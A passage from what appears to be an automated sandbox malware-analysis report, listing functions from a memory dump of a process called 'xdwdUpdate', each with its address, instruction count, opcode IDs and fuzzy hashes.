                                                                                                                                                                            • Instruction Fuzzy Hash: CE61642983F7CE8FE72653245C651E57BA09F56211F9902FBD488C70E3FA0D784A8392
                                                                                                                                                                            Function 00007FFE6F7DED9C Relevance: .2, Instructions: 201COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 48e00ffbc106ed32694505cf867a9a746244cb3ecace69772b96f6855072d363
                                                                                                                                                                            • Instruction ID: aa049204d3e4accd0d284824473b218113b37d4db48f7be2798b809e6255750c
                                                                                                                                                                            • Opcode Fuzzy Hash: 48e00ffbc106ed32694505cf867a9a746244cb3ecace69772b96f6855072d363
                                                                                                                                                                            • Instruction Fuzzy Hash: A6514D25E3D48E4AFBA9B32C48163FD71819B94315F941339E44EC22E7FD18B81782D2
                                                                                                                                                                            Function 00007FFE6F7DC0BF Relevance: .2, Instructions: 191COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: be1097dadcdb975c4e014f21c31200115f589a887c4381a54f8528874aac8110
                                                                                                                                                                            • Instruction ID: 9a333599b07be28c8829c7f5adc127b3b0620c767150b8d361c33fd9ed2e8dbe
                                                                                                                                                                            • Opcode Fuzzy Hash: be1097dadcdb975c4e014f21c31200115f589a887c4381a54f8528874aac8110
                                                                                                                                                                            • Instruction Fuzzy Hash: B051F579D3D59E8BEF98DB6898166F877A0EF65302F940339D00DC72E1FE19B8058681
                                                                                                                                                                            Function 00007FFE6F7D71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 67db7dd4c4921aea5a347082a6eead4babff7f3076d6b8f3cc24fb793e457fe0
                                                                                                                                                                            • Instruction ID: d1de21860a5ba1cad26ddd680c013973051c04eda0897ebd6d7a77a5da8faed1
                                                                                                                                                                            • Opcode Fuzzy Hash: 67db7dd4c4921aea5a347082a6eead4babff7f3076d6b8f3cc24fb793e457fe0
                                                                                                                                                                            • Instruction Fuzzy Hash: D5517830928A8D8FEBA8DF28D8457E977E1FF54310F54826EE84DC3295DF34A5458B82
                                                                                                                                                                            Function 00007FFE6F7D7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 883d8e489946caaec121ff5a9556a73d579b06fab66995d562499ec5ca95d544
                                                                                                                                                                            • Instruction ID: ae4fe1c0a7fed72ec8c21aa1b12fdb28d0473352f5e900b7813a34faaee4f9ec
                                                                                                                                                                            • Opcode Fuzzy Hash: 883d8e489946caaec121ff5a9556a73d579b06fab66995d562499ec5ca95d544
                                                                                                                                                                            • Instruction Fuzzy Hash: C3519430529A8D8FEB68DF2CC8457E977D1FF54310F448269E84DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7DE015 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3501474ef4241230081fe3db0e1d1c02e3461b94291ee60cd4ab46044b683978
                                                                                                                                                                            • Instruction ID: d4a2a69a3cb2ada26efa75f6d185d5db8f415be0d84046e6407d91dfffd366e8
                                                                                                                                                                            • Opcode Fuzzy Hash: 3501474ef4241230081fe3db0e1d1c02e3461b94291ee60cd4ab46044b683978
                                                                                                                                                                            • Instruction Fuzzy Hash: 6B51B625D3E2DE8AFB62636894517F9BB914F11320F8902B6D49CAB1E3ED0D7C458392
                                                                                                                                                                            Function 00007FFE6F7DB231 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0a4ca3b9d35ecd5b96bfae4bff5cc2583e99cb3009ff827f376424bfa6600016
                                                                                                                                                                            • Instruction ID: 127adfc9a7eb0a696c425e48c94aa30ffcf871174b713dbd36194edb0553736f
                                                                                                                                                                            • Opcode Fuzzy Hash: 0a4ca3b9d35ecd5b96bfae4bff5cc2583e99cb3009ff827f376424bfa6600016
                                                                                                                                                                            • Instruction Fuzzy Hash: 88518926D3E6CE8FE752576CC8551A83BA1AF56310F9A42BFC08CC71E3EA1D78458351
                                                                                                                                                                            Function 00007FFE6F7DC5CD Relevance: .2, Instructions: 170COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c02f0e830f42bba8e663986bed22c7abe06994ded6065ecc138b38fb764fd606
                                                                                                                                                                            • Instruction ID: 15b44caa67722d6b629088c2678efed8add075ef4d2b584a4bb739e39353eff7
                                                                                                                                                                            • Opcode Fuzzy Hash: c02f0e830f42bba8e663986bed22c7abe06994ded6065ecc138b38fb764fd606
                                                                                                                                                                            • Instruction Fuzzy Hash: 77518F25D3E5CECFEB56A72888566F87BA1EF59312F9402BAD009D71E2FE1C78018341
                                                                                                                                                                            Function 00007FFE6F7DACE7 Relevance: .2, Instructions: 153COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: aebfea117910db24c45f0b6f7d3dc1215d07eaee8d9674d736ff9896cf2b620a
                                                                                                                                                                            • Instruction ID: 6ac999ec68205026cad6d66c4f856bcad5bb24eb8ff7353099a8fb6065828cf3
                                                                                                                                                                            • Opcode Fuzzy Hash: aebfea117910db24c45f0b6f7d3dc1215d07eaee8d9674d736ff9896cf2b620a
                                                                                                                                                                            • Instruction Fuzzy Hash: 6D410B35E3995D8FEB94FB6888566FC77A1FF58301F840679E40DD32A2EE286845C740
                                                                                                                                                                            Function 00007FFE6F7D2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 544770fd7e2f81f933d6b401723206c11a3f2b35fe15b9a4594b5353ea883fd0
                                                                                                                                                                            • Instruction ID: d27d6de9e156d0e8a4c056929057d3ad0d690e4730a761a8ca8a11f75c6d712a
                                                                                                                                                                            • Opcode Fuzzy Hash: 544770fd7e2f81f933d6b401723206c11a3f2b35fe15b9a4594b5353ea883fd0
                                                                                                                                                                            • Instruction Fuzzy Hash: 5C414D25F3949E8AF758F76C84966BD3282EB98341F940635E04DD32E6FD2CB807C242
                                                                                                                                                                            Function 00007FFE6F7D2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 990eed66a3626215690be8ac75d811fdf168f1f1cbeeb92537b30c7061ea408e
                                                                                                                                                                            • Instruction ID: af47f2d8b54353444ab831a44d0ea0f797fba4aedece82d6549aa0cc06b2fdbf
                                                                                                                                                                            • Opcode Fuzzy Hash: 990eed66a3626215690be8ac75d811fdf168f1f1cbeeb92537b30c7061ea408e
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F414025F3998E8BE798B73C84656BD6692EF94341F910578E00ED32E6ED3CB8438741
                                                                                                                                                                            Function 00007FFE6F7D2D19 Relevance: .1, Instructions: 136COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a9545b5374199a5df6d3d16252cc139060fc3265251aca149e05c9a9029e8a68
                                                                                                                                                                            • Instruction ID: 0e19f4f744e8e34dd1976d529399cf291e748fba4b8301763548f7abdefd8819
                                                                                                                                                                            • Opcode Fuzzy Hash: a9545b5374199a5df6d3d16252cc139060fc3265251aca149e05c9a9029e8a68
                                                                                                                                                                            • Instruction Fuzzy Hash: 8E418025F3998E8BE784BB3C84556BD6692AF84301F950578E04ED72E6ED3CB842C741
                                                                                                                                                                            Function 00007FFE6F7DD9FE Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d3340afc044769d52b024d84c0014ae9250cd43d4799118dcff97b7d7d2e96fb
                                                                                                                                                                            • Instruction ID: fc3e0945de9374df9bc679026bc047b44bbd110a1c9ef9cf224de09bc6ff3cfb
                                                                                                                                                                            • Opcode Fuzzy Hash: d3340afc044769d52b024d84c0014ae9250cd43d4799118dcff97b7d7d2e96fb
                                                                                                                                                                            • Instruction Fuzzy Hash: 3041CC519AE3CA0FE747677848252A47FB19F57218B4A45EBD4C9CF0F3E81C588AC362
                                                                                                                                                                            Function 00007FFE6F7DAA7D Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c82445c1b00fbd5495a716961c7a80c87e618aaa40f87f70a81efd5dff04d3c1
                                                                                                                                                                            • Instruction ID: d5a4c04869271eded79b01dd6fd1024072c709fa01713b156514a58b28480060
                                                                                                                                                                            • Opcode Fuzzy Hash: c82445c1b00fbd5495a716961c7a80c87e618aaa40f87f70a81efd5dff04d3c1
                                                                                                                                                                            • Instruction Fuzzy Hash: 3D312F30A3595D8FEB99EB6C84556FCB3D1FF98301B90427AD40DD72A6DE29AC428740
                                                                                                                                                                            Function 00007FFE6F7DD3C0 Relevance: .1, Instructions: 122COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d69a020bc6db16211ddd815a6db1503e662c4efdf0b4230fde8b1c8b51e212f3
                                                                                                                                                                            • Instruction ID: 15ead345b9c7a5e5d8d40c39cb415f89917c9b37ac202003c459045f6da0152d
                                                                                                                                                                            • Opcode Fuzzy Hash: d69a020bc6db16211ddd815a6db1503e662c4efdf0b4230fde8b1c8b51e212f3
                                                                                                                                                                            • Instruction Fuzzy Hash: 0C31C73092EACD8FEB56EB6888155E97BE1FF49310F4402BBD40DC71A3DE28A845C751
                                                                                                                                                                            Function 00007FFE6F7D12E8 Relevance: .1, Instructions: 112COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 73df845774ee58eb2baea6a7edafb6368fb22d1fdb79709d9803911caa838fb1
                                                                                                                                                                            • Instruction ID: d1424ff088c8079c61fc6ec1bdbde5cf670cc24db2a574f9b0ab7b6cdcc6f36f
                                                                                                                                                                            • Opcode Fuzzy Hash: 73df845774ee58eb2baea6a7edafb6368fb22d1fdb79709d9803911caa838fb1
                                                                                                                                                                            • Instruction Fuzzy Hash: 7F317435E3695D8FEB98EB6C94446F9B2E1FF58311F800179E40DD32A2EE39AC418740
                                                                                                                                                                            Function 00007FFE6F7DD289 Relevance: .1, Instructions: 109COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8e223f55dba60002d695af2f0155f99ee5bdd9c206158444b693929b7894f72d
                                                                                                                                                                            • Instruction ID: 78967ffea83c750b3a7dee3c2303a8064e220b673f466387f7024c95930a9a29
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e223f55dba60002d695af2f0155f99ee5bdd9c206158444b693929b7894f72d
                                                                                                                                                                            • Instruction Fuzzy Hash: E831D331D2E6CE8FEB12A76888552E97FB1EF16310F4901BBC048C71E3E91CB40A8756
                                                                                                                                                                            Function 00007FFE6F7DDB68 Relevance: .1, Instructions: 103COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c706215870ab134aeea8cd1d3afe33e9164086ee244ee37a0627d77cbda3ba7f
                                                                                                                                                                            • Instruction ID: 114c38599420aa90460ef274a65c12600fae2d2e128d853bea928e1fdea6d76a
                                                                                                                                                                            • Opcode Fuzzy Hash: c706215870ab134aeea8cd1d3afe33e9164086ee244ee37a0627d77cbda3ba7f
                                                                                                                                                                            • Instruction Fuzzy Hash: C5318429D7B4AECAEBA5E75C90615F97382AF48340FC10634D94E931F2ED48F8038694
                                                                                                                                                                            Function 00007FFE6F7D90E1 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cc444ae0a53c2e761a374d0abebf4bf23ad8ac26a847e8230d760974bff4fd7b
                                                                                                                                                                            • Instruction ID: ddd9f6e05a605905e590dd4c14bd8b9f36fe7b87475fbe25c8a0d09ebdcf7bd8
                                                                                                                                                                            • Opcode Fuzzy Hash: cc444ae0a53c2e761a374d0abebf4bf23ad8ac26a847e8230d760974bff4fd7b
                                                                                                                                                                            • Instruction Fuzzy Hash: C431F935E2D6CE8FE752D768D8595E83BF0EF69310F4901B6D00CD71A6F92978448351
                                                                                                                                                                            Function 00007FFE6F7DADA7 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c903d9a7b43249b8cdad7a5491b708a79051ac15c49ab0780158073098e6c6d6
                                                                                                                                                                            • Instruction ID: 9e15384483750de7d76f22c5cb47d054d01ab861046107fbcbbf2df5ee86850e
                                                                                                                                                                            • Opcode Fuzzy Hash: c903d9a7b43249b8cdad7a5491b708a79051ac15c49ab0780158073098e6c6d6
                                                                                                                                                                            • Instruction Fuzzy Hash: E8310A35E3955E8AEB84FB6888566FC76A0FF58301F800279D409D32B2EE287841C640
                                                                                                                                                                            Function 00007FFE6F7DF6DD Relevance: .1, Instructions: 90COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 77304562e404607be3dfcea2d8f56fbd4cb425ff78e5ea372c4057f703b9c5a6
                                                                                                                                                                            • Instruction ID: 98665e8a0d9b25ee9a42a27664d7c5c599fec59d57d4e1187951ec8faeb5b10c
                                                                                                                                                                            • Opcode Fuzzy Hash: 77304562e404607be3dfcea2d8f56fbd4cb425ff78e5ea372c4057f703b9c5a6
                                                                                                                                                                            • Instruction Fuzzy Hash: 7221CB7AE2D18E8BE76CA718A8031F976D1DB99320FC4027EE14DC32E2FD1978064185
                                                                                                                                                                            Function 00007FFE6F7DE9E0 Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a93a00eb597b68b77d33f3dd36bde03fb4041192f16987d5ca114ef3080f1fcc
                                                                                                                                                                            • Instruction ID: 98b3892cf689e05a6fe38183df34e6e72d245ab95dba50d66bbe0dac0be55590
                                                                                                                                                                            • Opcode Fuzzy Hash: a93a00eb597b68b77d33f3dd36bde03fb4041192f16987d5ca114ef3080f1fcc
                                                                                                                                                                            • Instruction Fuzzy Hash: D211E37EE3D08E9AFB6C6608AC072F57184CB9A371FD4023AE149C22A2FC49B8174091
                                                                                                                                                                            Function 00007FFE6F7D258D Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fc239d46ce3a6206a1ebdb013f0d285b7ac72208072320e3849ea8f9286edd40
                                                                                                                                                                            • Instruction ID: e095fb6ef4afed57025896c3d2d8361742ba9ff6545be128f85f0516c3a6e7d6
                                                                                                                                                                            • Opcode Fuzzy Hash: fc239d46ce3a6206a1ebdb013f0d285b7ac72208072320e3849ea8f9286edd40
                                                                                                                                                                            • Instruction Fuzzy Hash: 25219125E2E7CE4FE352677448255A87FA2AF47340F9A05FAD089D71E3E92DA806C311
                                                                                                                                                                            Function 00007FFE6F7DDF18 Relevance: .1, Instructions: 73COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d616a94955a4855b382af1d2abb4e5801d60bbe2bab50b438bdd018c927deb54
                                                                                                                                                                            • Instruction ID: e3d90c4adf468211c978b347f1e64300099698a7a86d38f18391a41dd9c2fe09
                                                                                                                                                                            • Opcode Fuzzy Hash: d616a94955a4855b382af1d2abb4e5801d60bbe2bab50b438bdd018c927deb54
                                                                                                                                                                            • Instruction Fuzzy Hash: 7121D469E3F1DE89E7A9E32888056F937829B51301FC906B9C55CD70F2F81C741A468A
                                                                                                                                                                            Function 00007FFE6F7DACED Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 959cabaf515a8cdafc59233efe2f0cc74dc674904e0a607171e6554b306f81f9
                                                                                                                                                                            • Instruction ID: 7226062814ea4f0bce6da2ef0e456ae8823c7f0ed61b907965afbfb93de46de7
                                                                                                                                                                            • Opcode Fuzzy Hash: 959cabaf515a8cdafc59233efe2f0cc74dc674904e0a607171e6554b306f81f9
                                                                                                                                                                            • Instruction Fuzzy Hash: D311F125E39D5D8FE794FB2C84562BC76E1FF58701B940579E40ED32A6ED28BC428740
                                                                                                                                                                            Function 00007FFE6F7D88DD Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cc376305dcc2d4a0718312782dfb22dc8c291ef717541d903014cfbaa6cd3888
                                                                                                                                                                            • Instruction ID: 059dca9bb0efde5c4cda2a4c2455d1a4e8838134a4c73eed16985f0a152f4db4
                                                                                                                                                                            • Opcode Fuzzy Hash: cc376305dcc2d4a0718312782dfb22dc8c291ef717541d903014cfbaa6cd3888
                                                                                                                                                                            • Instruction Fuzzy Hash: B621DD4986F7CA4FE707533468255A43FB09E57216B8A12EBD0C8CB0F3E90C68498367
                                                                                                                                                                            Function 00007FFE6F7DCB8B Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
